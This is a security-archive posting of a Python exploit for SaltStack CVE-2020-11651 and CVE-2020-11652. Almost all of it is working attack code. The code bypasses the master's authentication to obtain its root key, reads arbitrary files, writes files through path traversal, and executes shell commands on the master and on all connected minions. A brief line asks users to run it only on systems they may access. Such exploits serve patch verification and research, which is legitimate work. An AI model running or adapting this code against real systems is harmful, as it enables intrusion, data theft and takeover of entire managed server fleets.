what you don't know can hurt you

Saltstack 3000.1 Remote Code Execution

Saltstack 3000.1 Remote Code Execution
Posted May 5, 2020
Authored by Jasper Lievisse Adriaanse

Saltstack version 3000.1 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-11651, CVE-2020-11652
MD5 | 3d2d2a6913589181fa16c72fa6595c90

Saltstack 3000.1 Remote Code Execution

Change Mirror Download
# Exploit Title: Saltstack 3000.1 - Remote Code Execution
# Date: 2020-05-04
# Exploit Author: Jasper Lievisse Adriaanse
# Vendor Homepage: https://www.saltstack.com/
# Version: < 3000.2, < 2019.2.4, 2017.*, 2018.*
# Tested on: Debian 10 with Salt 2019.2.0
# CVE : CVE-2020-11651 and CVE-2020-11652
# Discription: Saltstack authentication bypass/remote code execution
#
# Source: https://github.com/jasperla/CVE-2020-11651-poc
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}

return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

# --- check funcs ----

def check_salt_version():
print("[+] Salt version: {}".format(salt.version.__version__))

vi = salt.version.__version_info__

if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False

def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()

# connection check
try:
channel.send({'cmd':'ping'}, timeout=2)
except salt.exceptions.SaltReqTimeoutError:
print("OFFLINE")
sys.exit(1)
else:
print("ONLINE")

def check_CVE_2020_11651(channel):
print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
return root_key

return None

def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
sys.stdout.flush()

# try read file
msg = {
'cmd': 'get_token',
'arg': [],
'token': top_secret_file_path,
}

try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
print("NO")

def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
sys.stdout.flush()

# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': top_secret_file_path,
'saltenv': 'base',
}

try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return']:
print("YES")
else:
print("NO")

def check_CVE_2020_11652_write1(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
sys.stdout.flush()

# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
'data': 'evil',
'saltenv': 'base',
}

try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)

pp(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")

def check_CVE_2020_11652_write2(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
sys.stdout.flush()

# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'config.update_config',
'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
'yaml_contents': 'evil',
'saltenv': 'base',
}

try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652.conf')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")

def pwn_read_file(channel, root_key, path, master_ip):
print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()

msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}

rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])

def pwn_upload_file(channel, root_key, src, dest, master_ip):
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
sys.stdout.flush()

try:
fh = open(src, 'rb')
payload = fh.read()
fh.close()
except Exception as e:
print('[-] Failed to read {}: {}'.format(src, e))
return

msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'saltenv': 'base',
'data': payload,
'path': dest,
}

rets = channel.send(msg, timeout=3)
print('[ ] {}'.format(rets['data']['return']))

def pwn_exec(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
sys.stdout.flush()

msg = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'saltenv': 'base',
'user': 'sudo_user',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
},
'jid': jid,
}

try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return

if rets.get('jid'):
print('[+] Successfully scheduled job: {}'.format(rets['jid']))

def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
sys.stdout.flush()

msg = {
'key': root_key,
'cmd': '_send_pub',
'fun': 'cmd.run',
'user': 'root',
'arg': [ "/bin/sh -c '{}'".format(cmd) ],
'tgt': '*',
'tgt_type': 'glob',
'ret': '',
'jid': jid
}

try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
finally:
if rets == None:
print('[+] Successfully submitted job to all minions.')
else:
print('[-] Failed to submit job')


def main():
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
parser.add_argument('--port', '-p', dest='master_port', default='4506')
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
parser.add_argument('--read', '-r', dest='read_file')
parser.add_argument('--upload-src', dest='upload_src')
parser.add_argument('--upload-dest', dest='upload_dest')
parser.add_argument('--exec', dest='exec', help='Run a command on the master')
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
args = parser.parse_args()

print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
time.sleep(1)

# Both src and destination are required for uploads
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
print('[-] Must provide both --upload-src and --upload-dest')
sys.exit(1)

channel = init_minion(args.master_ip, args.master_port)

if check_salt_version():
print("[ ] This version of salt is vulnerable! Check results below")
elif args.force:
print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")
else:
sys.exit()

check_connection(args.master_ip, args.master_port, channel)

root_key = check_CVE_2020_11651(channel)
if root_key:
print('\n[*] root key obtained: {}'.format(root_key))
else:
print('[-] Failed to find root key...aborting')
sys.exit(127)

if args.run_checks:
# Assuming this check runs on the master itself, create a file with "secret" content
# and abuse CVE-2020-11652 to read it.
top_secret_file_path = '/tmp/salt_cve_teta'
with salt.utils.fopen(top_secret_file_path, 'w') as fd:
fd.write("top secret")

# Again, this assumes we're running this check on the master itself
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
root_key = keyfd.read()

check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
check_CVE_2020_11652_write1(debug, channel, root_key)
check_CVE_2020_11652_write2(debug, channel, root_key)
os.remove(top_secret_file_path)
sys.exit(0)

if args.read_file:
pwn_read_file(channel, root_key, args.read_file, args.master_ip)

if args.upload_src:
if os.path.isabs(args.upload_dest):
print('[-] Destination path must be relative; aborting')
sys.exit(1)
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)


jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())

if args.exec:
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)

if args.exec_all:
print("[!] Lester, is this what you want? Hit ^C to abort.")
time.sleep(2)
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)


if __name__ == '__main__':
main()
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    13 Files
  • 28
    May 28th
    18 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close